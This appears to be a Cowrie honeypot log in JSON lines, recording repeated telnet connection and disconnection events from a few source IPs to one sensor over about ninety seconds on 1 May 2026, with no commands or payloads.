{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50556,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ec040b3b094","protocol":"telnet","message":"New connection: 194.163.135.148:50556 (159.203.135.109:23) [session: 6ec040b3b094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:01.624803Z"}
{"eventid":"cowrie.session.closed","duration":34.841219425201416,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:02.787566Z","src_ip":"194.163.135.148","session":"f32c25304da5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50564,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8604cf3248a","protocol":"telnet","message":"New connection: 194.163.135.148:50564 (159.203.135.109:23) [session: b8604cf3248a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:02.823684Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50562,"dst_ip":"159.203.135.109","dst_port":23,"session":"59d3aa933af2","protocol":"telnet","message":"New connection: 194.163.135.148:50562 (159.203.135.109:23) [session: 59d3aa933af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:03.771273Z"}
{"eventid":"cowrie.session.closed","duration":34.7735013961792,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:06.676264Z","src_ip":"194.163.135.148","session":"6d48d2b3f1ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.35673475265503,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:07.680257Z","src_ip":"194.163.135.148","session":"72b8d6c5f495","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80602526664734,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:09.783588Z","src_ip":"194.163.135.148","session":"5b5029ab2165","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.506792783737183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:10.156618Z","src_ip":"194.163.135.148","session":"cc3525975133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.4345064163208,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:11.469077Z","src_ip":"194.163.135.148","session":"15f37d45f244","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50624,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a81b9cb3947","protocol":"telnet","message":"New connection: 194.163.135.148:50624 (159.203.135.109:23) [session: 9a81b9cb3947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:12.292597Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50626,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0c02a3f36cc","protocol":"telnet","message":"New connection: 194.163.135.148:50626 (159.203.135.109:23) [session: b0c02a3f36cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:13.336765Z"}
{"eventid":"cowrie.session.closed","duration":34.541441917419434,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:13.724366Z","src_ip":"194.163.135.148","session":"0b6585d3cc86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50632,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a0d2b917439","protocol":"telnet","message":"New connection: 194.163.135.148:50632 (159.203.135.109:23) [session: 7a0d2b917439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:14.321867Z"}
{"eventid":"cowrie.session.closed","duration":34.48879623413086,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:14.962063Z","src_ip":"194.163.135.148","session":"a87357ef68ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.34933519363403,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:15.594517Z","src_ip":"194.163.135.148","session":"655388139d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50648,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dc942c91f46","protocol":"telnet","message":"New connection: 194.163.135.148:50648 (159.203.135.109:23) [session: 2dc942c91f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:16.188644Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50656,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b2c59a56da","protocol":"telnet","message":"New connection: 194.163.135.148:50656 (159.203.135.109:23) [session: 61b2c59a56da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:16.811653Z"}
{"eventid":"cowrie.session.closed","duration":35.59417796134949,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:17.839103Z","src_ip":"194.163.135.148","session":"e190bceb2d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50670,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8c47e83219f","protocol":"telnet","message":"New connection: 194.163.135.148:50670 (159.203.135.109:23) [session: f8c47e83219f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:18.497111Z"}
{"eventid":"cowrie.session.closed","duration":34.32347321510315,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:19.394375Z","src_ip":"194.163.135.148","session":"b387c9d2997d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9024338722229,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:20.240332Z","src_ip":"194.163.135.148","session":"41e100cde787","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.83446002006531,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:20.337669Z","src_ip":"194.163.135.148","session":"b4f179e6ae55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50684,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a67676e64b","protocol":"telnet","message":"New connection: 194.163.135.148:50684 (159.203.135.109:23) [session: b7a67676e64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:20.732023Z"}
{"eventid":"cowrie.session.closed","duration":31.343957662582397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:22.793972Z","src_ip":"194.163.135.148","session":"0de59d92c2a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.623273134231567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:23.962346Z","src_ip":"194.163.135.148","session":"9993cc9dffde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.048171043395996,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:24.045522Z","src_ip":"194.163.135.148","session":"eefde54ffe13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50754,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ec007a6031","protocol":"telnet","message":"New connection: 194.163.135.148:50754 (159.203.135.109:23) [session: 36ec007a6031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:24.152498Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50770,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1377e127d6","protocol":"telnet","message":"New connection: 194.163.135.148:50770 (159.203.135.109:23) [session: 2c1377e127d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:25.280013Z"}
{"eventid":"cowrie.session.closed","duration":35.400543212890625,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:28.383338Z","src_ip":"194.163.135.148","session":"e525af5014b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50794,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ef53c5fb6d","protocol":"telnet","message":"New connection: 194.163.135.148:50794 (159.203.135.109:23) [session: f6ef53c5fb6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:29.123454Z"}
{"eventid":"cowrie.session.closed","duration":35.90068745613098,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:29.394517Z","src_ip":"194.163.135.148","session":"37a4f9856e84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.78007483482361,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:32.023103Z","src_ip":"194.163.135.148","session":"fb507da51790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00117874145508,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:32.282786Z","src_ip":"201.1.168.89","session":"63f503f1f6de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.98321509361267,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:32.345589Z","src_ip":"194.163.135.148","session":"b9846757d338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.1.168.89","src_port":44077,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd0895f958c4","protocol":"telnet","message":"New connection: 201.1.168.89:44077 (159.203.135.109:23) [session: dd0895f958c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:32.963964Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50830,"dst_ip":"159.203.135.109","dst_port":23,"session":"d209f5da7d18","protocol":"telnet","message":"New connection: 194.163.135.148:50830 (159.203.135.109:23) [session: d209f5da7d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:33.038461Z"}
{"eventid":"cowrie.session.closed","duration":120.00084066390991,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:34.046457Z","src_ip":"201.1.168.89","session":"66093e082513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.1.168.89","src_port":44102,"dst_ip":"159.203.135.109","dst_port":23,"session":"210ddff21ab4","protocol":"telnet","message":"New connection: 201.1.168.89:44102 (159.203.135.109:23) [session: 210ddff21ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:34.342300Z"}
{"eventid":"cowrie.session.closed","duration":32.76828980445862,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:34.392974Z","src_ip":"194.163.135.148","session":"6ec040b3b094","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00139832496643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:34.772552Z","src_ip":"194.163.135.148","session":"59d3aa933af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.57176733016968,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:35.849838Z","src_ip":"194.163.135.148","session":"d28bd34bde52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.454195976257324,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:36.277011Z","src_ip":"194.163.135.148","session":"b8604cf3248a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50862,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc56d6d04fee","protocol":"telnet","message":"New connection: 194.163.135.148:50862 (159.203.135.109:23) [session: dc56d6d04fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:36.550736Z"}
{"eventid":"cowrie.session.closed","duration":42.02835702896118,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:37.211128Z","src_ip":"103.115.172.252","session":"f9a32e33cdff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50868,"dst_ip":"159.203.135.109","dst_port":23,"session":"bea6b6e9c5fa","protocol":"telnet","message":"New connection: 194.163.135.148:50868 (159.203.135.109:23) [session: bea6b6e9c5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:37.361223Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50892,"dst_ip":"159.203.135.109","dst_port":23,"session":"71788022d36b","protocol":"telnet","message":"New connection: 194.163.135.148:50892 (159.203.135.109:23) [session: 71788022d36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:40.137527Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50916,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a1c4e817a46","protocol":"telnet","message":"New connection: 194.163.135.148:50916 (159.203.135.109:23) [session: 8a1c4e817a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:41.889186Z"}
{"eventid":"cowrie.session.closed","duration":31.209223985671997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:44.545892Z","src_ip":"194.163.135.148","session":"b0c02a3f36cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00107336044312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:45.977871Z","src_ip":"181.59.3.167","session":"dda80e49cf8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.657917737960815,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:46.950383Z","src_ip":"194.163.135.148","session":"9a81b9cb3947","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.661619901657104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:48.473142Z","src_ip":"194.163.135.148","session":"61b2c59a56da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.143.251.192","src_port":13604,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec906ea1f2f0","protocol":"telnet","message":"New connection: 190.143.251.192:13604 (159.203.135.109:23) [session: ec906ea1f2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:48.792641Z"}
{"eventid":"cowrie.session.closed","duration":30.69346523284912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:49.190441Z","src_ip":"194.163.135.148","session":"f8c47e83219f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.291892528533936,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:49.480381Z","src_ip":"194.163.135.148","session":"2dc942c91f46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.526994466781616,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:50.848735Z","src_ip":"194.163.135.148","session":"7a0d2b917439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.38076686859131,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:57.112651Z","src_ip":"194.163.135.148","session":"b7a67676e64b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47204399108887,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:57.624415Z","src_ip":"194.163.135.148","session":"36ec007a6031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51070,"dst_ip":"159.203.135.109","dst_port":23,"session":"6baa17d67a3e","protocol":"telnet","message":"New connection: 194.163.135.148:51070 (159.203.135.109:23) [session: 6baa17d67a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:57.741539Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51080,"dst_ip":"159.203.135.109","dst_port":23,"session":"8504cee6f48e","protocol":"telnet","message":"New connection: 194.163.135.148:51080 (159.203.135.109:23) [session: 8504cee6f48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:59.562015Z"}
{"eventid":"cowrie.session.closed","duration":35.44620633125305,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:00.725840Z","src_ip":"194.163.135.148","session":"2c1377e127d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.465160846710205,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:01.257652Z","src_ip":"190.143.251.192","session":"ec906ea1f2f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.39.227.103","src_port":26520,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c8d9d5b7f89","protocol":"telnet","message":"New connection: 194.39.227.103:26520 (159.203.135.109:23) [session: 1c8d9d5b7f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:01.344428Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51128,"dst_ip":"159.203.135.109","dst_port":23,"session":"d719a1444308","protocol":"telnet","message":"New connection: 194.163.135.148:51128 (159.203.135.109:23) [session: d719a1444308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:04.011563Z"}
{"eventid":"cowrie.session.closed","duration":36.287198066711426,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:05.410532Z","src_ip":"194.163.135.148","session":"f6ef53c5fb6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51170,"dst_ip":"159.203.135.109","dst_port":23,"session":"f98784037bfa","protocol":"telnet","message":"New connection: 194.163.135.148:51170 (159.203.135.109:23) [session: f98784037bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:07.522598Z"}
{"eventid":"cowrie.session.closed","duration":31.180723667144775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:07.731339Z","src_ip":"194.163.135.148","session":"dc56d6d04fee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.82739448547363,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:09.865721Z","src_ip":"194.163.135.148","session":"d209f5da7d18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.975282907485962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:11.112706Z","src_ip":"194.163.135.148","session":"71788022d36b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.198224782943726,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:11.559307Z","src_ip":"194.163.135.148","session":"bea6b6e9c5fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51210,"dst_ip":"159.203.135.109","dst_port":23,"session":"38884058847f","protocol":"telnet","message":"New connection: 194.163.135.148:51210 (159.203.135.109:23) [session: 38884058847f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:13.209579Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51224,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e4afca27e9d","protocol":"telnet","message":"New connection: 194.163.135.148:51224 (159.203.135.109:23) [session: 9e4afca27e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:13.779504Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51232,"dst_ip":"159.203.135.109","dst_port":23,"session":"16e1aac4657f","protocol":"telnet","message":"New connection: 194.163.135.148:51232 (159.203.135.109:23) [session: 16e1aac4657f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:14.405587Z"}
{"eventid":"cowrie.session.closed","duration":33.969117164611816,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:15.858181Z","src_ip":"194.163.135.148","session":"8a1c4e817a46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51222,"dst_ip":"159.203.135.109","dst_port":23,"session":"341c78d36294","protocol":"telnet","message":"New connection: 194.163.135.148:51222 (159.203.135.109:23) [session: 341c78d36294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:16.731209Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51318,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fdba2165ecf","protocol":"telnet","message":"New connection: 194.163.135.148:51318 (159.203.135.109:23) [session: 4fdba2165ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:22.163040Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51302,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec3e08a1fb75","protocol":"telnet","message":"New connection: 194.163.135.148:51302 (159.203.135.109:23) [session: ec3e08a1fb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:22.494915Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51338,"dst_ip":"159.203.135.109","dst_port":23,"session":"a654b073d760","protocol":"telnet","message":"New connection: 194.163.135.148:51338 (159.203.135.109:23) [session: a654b073d760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:23.080540Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51348,"dst_ip":"159.203.135.109","dst_port":23,"session":"33ae8d4f4be7","protocol":"telnet","message":"New connection: 194.163.135.148:51348 (159.203.135.109:23) [session: 33ae8d4f4be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:23.529732Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51352,"dst_ip":"159.203.135.109","dst_port":23,"session":"0acc51ef6b46","protocol":"telnet","message":"New connection: 194.163.135.148:51352 (159.203.135.109:23) [session: 0acc51ef6b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:24.076673Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51342,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ad66b6aba6e","protocol":"telnet","message":"New connection: 194.163.135.148:51342 (159.203.135.109:23) [session: 5ad66b6aba6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:24.310588Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51356,"dst_ip":"159.203.135.109","dst_port":23,"session":"75d5f2168b97","protocol":"telnet","message":"New connection: 194.163.135.148:51356 (159.203.135.109:23) [session: 75d5f2168b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:24.548655Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51378,"dst_ip":"159.203.135.109","dst_port":23,"session":"e838aa870fe1","protocol":"telnet","message":"New connection: 194.163.135.148:51378 (159.203.135.109:23) [session: e838aa870fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:26.898853Z"}
